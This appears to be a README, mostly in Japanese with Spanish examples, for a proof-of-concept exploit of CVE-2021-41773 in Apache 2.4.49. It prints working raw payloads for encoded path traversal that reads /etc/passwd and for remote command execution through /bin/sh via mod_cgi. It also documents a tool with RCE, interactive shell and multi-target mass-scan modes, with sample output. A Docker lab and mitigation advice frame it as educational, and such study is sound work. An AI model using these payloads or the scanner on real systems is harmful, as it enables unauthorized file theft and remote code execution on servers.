
CVE-2021-41773の概念実証
制御された自身の環境での使用のみ。許可なくシステムに対して使用しないでください。
Apache HTTP Server 2.4.49 に存在する脆弱性 CVE-2021-41773 を実証し理解するために開発されたPoCです。
この不具合は ap_normalize_path() 関数にあり、URLエンコードされた文字を正しく検証していませんでした。これにより攻撃者は、エンコードされた文字列(../ の代わりに %2e%2e%2f)を用いて DocumentRoot の外へ抜け出し、システム上の任意のファイルを読み取ることが可能でした。
mod_cgi モジュールが有効な場合、この脆弱性は RCE(リモートコード実行) にエスカレートし、Apacheプロセスの権限でサーバー上で直接コマンドを実行できるようになりました。
サーバーが脆弱であるためには、すべての条件を満たす必要があります:
| 条件 | 詳細 |
|---|---|
| Apacheのバージョン | 正確に 2.4.49 |
| アクセスディレクティブ | 設定に Require all granted |
| CGIモジュール | mod_cgi が有効(RCEのみ) |
Apache 2.4.49 は古典的な ../ はフィルタリングしていましたが、そのURLエンコード版はフィルタリングしていませんでした。攻撃者は、フィルターには検出されないものの、オペレーティングシステムには正しく解釈されるパスを構築します:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f は ../ のURLエンコードです。Apacheはこれを通過させ、OSがそれを解決し、その結果、Webディレクトリ外のファイルへのアクセスが可能になりました。
mod_cgi が有効な場合、パストラバーサルはファイルの代わりに /bin/sh を指すために使用されます。ApacheはこれをCGIスクリプトとして扱い、実行します。コマンドは最小限のシェルスクリプトとしてPOSTのbodyで送信されます:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
コマンドの出力はHTTPレスポンスで返されます。
リポジトリには、setup/ で脆弱性を再現するためのすぐに使える環境が含まれています:
cd setup
docker compose up -d
これにより、脆弱な設定(Require all granted + mod_cgi 有効)で Apache 2.4.49 がポート 8080 で起動します。ラボのファイル:
| ファイル | 説明 |
|---|---|
setup/docker-compose.yml | Apache 2.4.49 のコンテナ |
setup/httpd.conf | Apache の脆弱な設定 |
使用される設定ファイルは setup/ にあります。
なぜ requests ではなく urllib3 なのか?
requests は送信前にパス内の文字を自動的に再エンコードします。
これにより、サーバーが %2e ではなく %252e を受信するため、ペイロードが壊れます。
urllib3 はパスを変更せずに送信できます。
なぜ %2e%2e/ ではなく .%2e/ なのか?
Apache は mod_rewrite モジュールで %2e%2e/ をフィルタリングします。
バリアント .%2e/ は意味的に同等ですがフィルターを通過します。
なぜなら、パスの正規化は検証の後に行われるからです。
mod_cgi モジュールが有効である必要があります。
これがない場合、パストラバーサルのみが可能です。python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| 引数 | 必須 | 説明 |
|---|---|---|
--target | はい* | サーバーのベースURL(例: http://localhost:8080) |
--input-file / -iF | はい* | ターゲットのリストを含むファイル(1行に1つ) |
--mode | はい | 動作モード(下の表を参照) |
--cmd | いいえ | rce モードで実行するコマンド(デフォルト: id) |
--file | いいえ | traversal モードで読み取るファイル(デフォルト: /etc/passwd) |
--threads / -t | いいえ | 一括スキャン用のスレッド数(デフォルト: 10、--input-file 使用時のみ) |
--output / -o | いいえ | 結果をJSONにエクスポート(--input-file 使用時のみ) |
* --target と --input-file は相互排他的です — どちらか一方を使用します。
| モード | 説明 |
|---|---|
check | ターゲットが脆弱かどうか、および mod_cgi が有効かどうかを、機密データを抽出せずに確認します |
traversal | パストラバーサルを介してシステム上の任意のファイルを読み取ります |
rce | mod_cgi を介してサーバー上で単一のコマンドを実行します |
shell | RCEコマンドを連続実行するための対話型疑似シェル |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
JSONファイルにはスキャンのメタデータと、各ターゲットのtarget、status、server、hostname、rceを含む結果の配列が含まれています。
2.4.51以上に更新する。Require all deniedをデフォルト値として設定する。mod_cgiを無効化する。⚠️ このリポジトリは教育目的のみです。
明示的な許可なくシステムに対してこのエクスプロイトを使用することは違法です。
管理されたローカル環境でのみテストされています。
攻撃的セキュリティのポートフォリオを目的として教育目的で開発されたPoCです。